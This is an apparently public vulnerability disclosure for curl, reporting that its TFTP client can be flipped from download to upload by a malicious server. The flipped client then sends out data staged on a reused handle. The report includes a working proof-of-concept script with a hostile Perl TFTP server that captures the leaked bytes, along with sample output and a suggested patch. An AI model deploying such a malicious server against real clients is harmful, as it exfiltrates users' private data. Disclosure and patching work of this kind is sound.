HexBrain

curl · Report #4022568

CVE-2026-92389: TFTP direction confusion

Validstatus
14 Oct 2026disclosed

How it was found

Hi all,

curl's TFTP state machine accepts either direction's opening response regardless of which one was requested. A malicious TFTP server can answer an RRQ with ACK block 0, which flips curl into transmit mode and causes it to drain whatever read source the handle's sticky CURLOPT_READDATA points at, including data staged for a completely unrelated transfer. Ordinary handle reuse across an HTTP POST and a TFTP download is sufficient; no TFTP-specific option is required.

The bug

tftp_send_first() dispatches the peer's first reply without checking whether the direction matches what was requested:

// lib/tftp.c:766-781
case TFTP_EVENT_ACK: /* only valid reply to WRQ — no upload check */
  result = tftp_connect_for_tx(state, event);
  break;

case TFTP_EVENT_DATA: /* only valid reply to RRQ — no upload check */
  result = tftp_connect_for_rx(state, event);
  break;

The OACK branch above these checks data->state.upload. These two don't. Per RFC 1350, ACK block 0 is the correct reply only to WRQ; DATA block 1 only to RRQ. A peer answering an RRQ with ACK-0 flips curl into transmit mode unconditionally.

Impact path

Once in transmit, tftp_tx() calls Curl_client_read(), falling back to data->state.fread_func/data->state.in (lib/sendf.c:1152-1179) — i.e. CURLOPT_READFUNCTION/CURLOPT_READDATA. These are sticky options per curl_easy_setopt(3). An earlier POST or MIME transfer on the same handle leaves a read source configured that the application never aimed at the TFTP transfer. A malicious peer drains it.

Volume is bounded by sticky infilesize: a prior CURLOPT_POSTFIELDS body sets it to that body's length; a prior MIME body leaves it at -1, meaning drain to EOF.

Measured on curl-8_22_0 and current main (staged file: SECRET-STAGED-FILE-CONTENT, 27 bytes):

mode=readdata   http_rc=0 tftp_rc=0
drained=16 capture=[SECRET-STAGED-FI]

mode=reset      http_rc=0 tftp_rc=0
drained=0 capture=[]

mode=conforming http_rc=0 tftp_rc=0
drained=0 capture=[]

Both transfers return CURLE_OK. The 16-byte bound is the HTTP step's CURLOPT_POSTFIELDS length still set as infilesize — a length from one unrelated transfer bounding content from another. reset and conforming (honest peer) both drain nothing, isolating the cause to the peer's wrong-direction reply.

No redirect path: CURLPROTO_REDIR covers HTTP/HTTPS/FTP/FTPS only. Affects every TFTP-capable release from 7.15.0 (56d9624b56) through current main.

PoC

privilege required: REMOTE (the trigger is the TFTP peer's opening reply)
run:     sh reproduce.sh readdata
control: sh reproduce.sh reset
         sh reproduce.sh conforming

The script runs an ordinary HTTP POST then reuses the same handle for a bare TFTP download. The adversarial TFTP peer answers RRQ with ACK block 0 instead of DATA block 1.

#!/bin/sh
set -eu
MODE="${1:?usage: $0 readdata|reset|conforming}"
SRC="${VF_SRC:-/src}"
WORK="${VF_WORK:-/tmp/vf-tftp-dir}"
mkdir -p "$WORK"

cat > "$WORK/poc3.c" <<'EOF'
#include <curl/curl.h>
#include <stdio.h>
#include <string.h>
static const char benign[] = "BENIGN-HTTP-BODY";
static size_t discard(char *p, size_t sz, size_t n, void *u)
{ (void)p; (void)u; return sz * n; }
int main(int argc, char **argv) {
  const char *mode = argv[1], *http_url = argv[2], *tftp_url = argv[3];
  const char *readdata_file = argv[4];
  CURL *h = curl_easy_init();
  CURLcode r1, r2;
  curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, discard);
  curl_easy_setopt(h, CURLOPT_TIMEOUT, 10L);
  if (strcmp(readdata_file, "-")) {
    FILE *staged = fopen(readdata_file, "rb");
    curl_easy_setopt(h, CURLOPT_READDATA, staged);
  }
  curl_easy_setopt(h, CURLOPT_POSTFIELDS, benign);
  curl_easy_setopt(h, CURLOPT_URL, http_url);
  r1 = curl_easy_perform(h);
  if (!strcmp(mode, "reset")) {
    curl_easy_reset(h);
    curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, discard);
    curl_easy_setopt(h, CURLOPT_TIMEOUT, 10L);
  }
  curl_easy_setopt(h, CURLOPT_URL, tftp_url);
  r2 = curl_easy_perform(h);
  printf("mode=%s http_rc=%d tftp_rc=%d\n", mode, (int)r1, (int)r2);
  curl_easy_cleanup(h);
  return 0;
}
EOF

cc -I"$SRC/include" "$WORK/poc3.c" -o "$WORK/poc3" \
  -L"$SRC/lib/.libs" -lcurl -Wl,-rpath,"$SRC/lib/.libs" || {
    cc -I"$SRC/include" "$WORK/poc3.c" -o "$WORK/poc3" \
      "$SRC/lib/.libs/libcurl.a" -lz -lldap \
      -framework Security -framework CoreFoundation -framework SystemConfiguration
  }

cat > "$WORK/http_peer.pl" <<'EOF'
#!/usr/bin/perl
use strict; use warnings; use IO::Socket::INET;
my ($port) = @ARGV;
my $l = IO::Socket::INET->new(LocalAddr=>'127.0.0.1', LocalPort=>$port,
  Proto=>'tcp', Listen=>1, ReuseAddr=>1) or die "listen: $!\n";
$| = 1; print "ready\n";
my $c = $l->accept or die "accept: $!\n";
my $req = '';
while ($req !~ /\r\n\r\n/) { my $g = sysread $c, my $b, 4096; last unless $g; $req .= $b; }
print $c "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok";
close $c; close $l;
EOF

cat > "$WORK/tftp_peer.pl" <<'EOF'
#!/usr/bin/perl
use strict; use warnings; use IO::Socket::INET; use IO::Select;
my ($mode, $port, $capture) = @ARGV;
my $sock = IO::Socket::INET->new(LocalAddr=>'127.0.0.1', LocalPort=>$port,
  Proto=>'udp') or die "bind: $!\n";
my $sel = IO::Select->new($sock);
sub recv_packet { my ($t) = @_; return undef unless $sel->can_read($t);
  my $peer = $sock->recv(my $buf, 2048); return undef unless defined $peer;
  return ($buf, $peer); }
$| = 1; print "ready\n";
my ($packet, $peer) = recv_packet(15);
die "no RRQ\n" unless defined $packet && unpack('n', $packet) == 1;
open my $out, '>:raw', $capture or die "open: $!\n";
if ($mode eq 'rrq-data') {
  $sock->send(pack('nn', 3, 1) . "benign-file", 0, $peer);
} else {
  $sock->send(pack('nn', 4, 0), 0, $peer);
  while (1) {
    my ($data, $from) = recv_packet(10);
    last unless defined $data;
    my ($op, $block) = unpack 'nn', $data;
    last unless $op == 3;
    $peer = $from;
    my $payload = substr $data, 4;
    print $out $payload;
    $sock->send(pack('nn', 4, $block), 0, $peer);
    last if length($payload) < 512;
  }
}
close $out; close $sock;
EOF

printf 'SECRET-STAGED-FILE-CONTENT' > "$WORK/secret_file"

HTTP_PORT=7101 TFTP_PORT=7102
perl "$WORK/http_peer.pl" "$HTTP_PORT" > "$WORK/http.log" 2>&1 &
HPID=$!
if [ "$MODE" = "conforming" ]; then TFTP_MODE=rrq-data; else TFTP_MODE=rrq-ack; fi
perl "$WORK/tftp_peer.pl" "$TFTP_MODE" "$TFTP_PORT" "$WORK/capture" > "$WORK/tftp.log" 2>&1 &
TPID=$!
for _ in 1 2 3 4 5 6 7 8; do
  grep -q ready "$WORK/http.log" 2>/dev/null && grep -q ready "$WORK/tftp.log" 2>/dev/null && break
  sleep 0.2
done

CLIENT_MODE="$MODE"; [ "$MODE" = "conforming" ] && CLIENT_MODE="readdata"
"$WORK/poc3" "$CLIENT_MODE" "http://127.0.0.1:$HTTP_PORT/post" \
  "tftp://127.0.0.1:$TFTP_PORT/f" "$WORK/secret_file"

wait "$HPID" "$TPID" 2>/dev/null || true
echo "drained=$(wc -c < "$WORK/capture" 2>/dev/null | tr -d ' ') capture=[$(cat "$WORK/capture" 2>/dev/null)]"

Suggested fix

Something like this:

case TFTP_EVENT_ACK:
  if(!data->state.upload)
    return CURLE_TFTP_ILLEGAL;
  result = tftp_connect_for_tx(state, event);
  break;

case TFTP_EVENT_DATA:
  if(data->state.upload)
    return CURLE_TFTP_ILLEGAL;
  result = tftp_connect_for_rx(state, event);
  break;

This closes the confidentiality path. The mirror case( WRQ answered with DATA) also needs fixing: tftp_receive_packet() (lib/tftp.c:1079-1091) writes DATA packets to Curl_client_write() with no state->upload check, and runs before the state machine (lib/tftp.c:1203-1207). A direction check there and a CURLE_TFTP_ILLEGAL return in tftp_tx()'s default branch are needed to make the patch complete. No separate security claim for the mirror case — a conforming server can already ACK an upload and discard it.

A regression test asserting RRQ never invokes Curl_client_read() and WRQ never delivers peer DATA to the download writer would close the loop.

Cheers, Josh

Impact

A TFTP peer the application deliberately contacted can receive data staged in CURLOPT_READDATA for a later upload, a POST body, or stdin — without any TFTP-specific option aimed at the TFTP transfer. Ordinary handle reuse or a multi-URL invocation is sufficient. The identical setup against a conforming server leaks nothing. Nothing here reaches memory safety.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original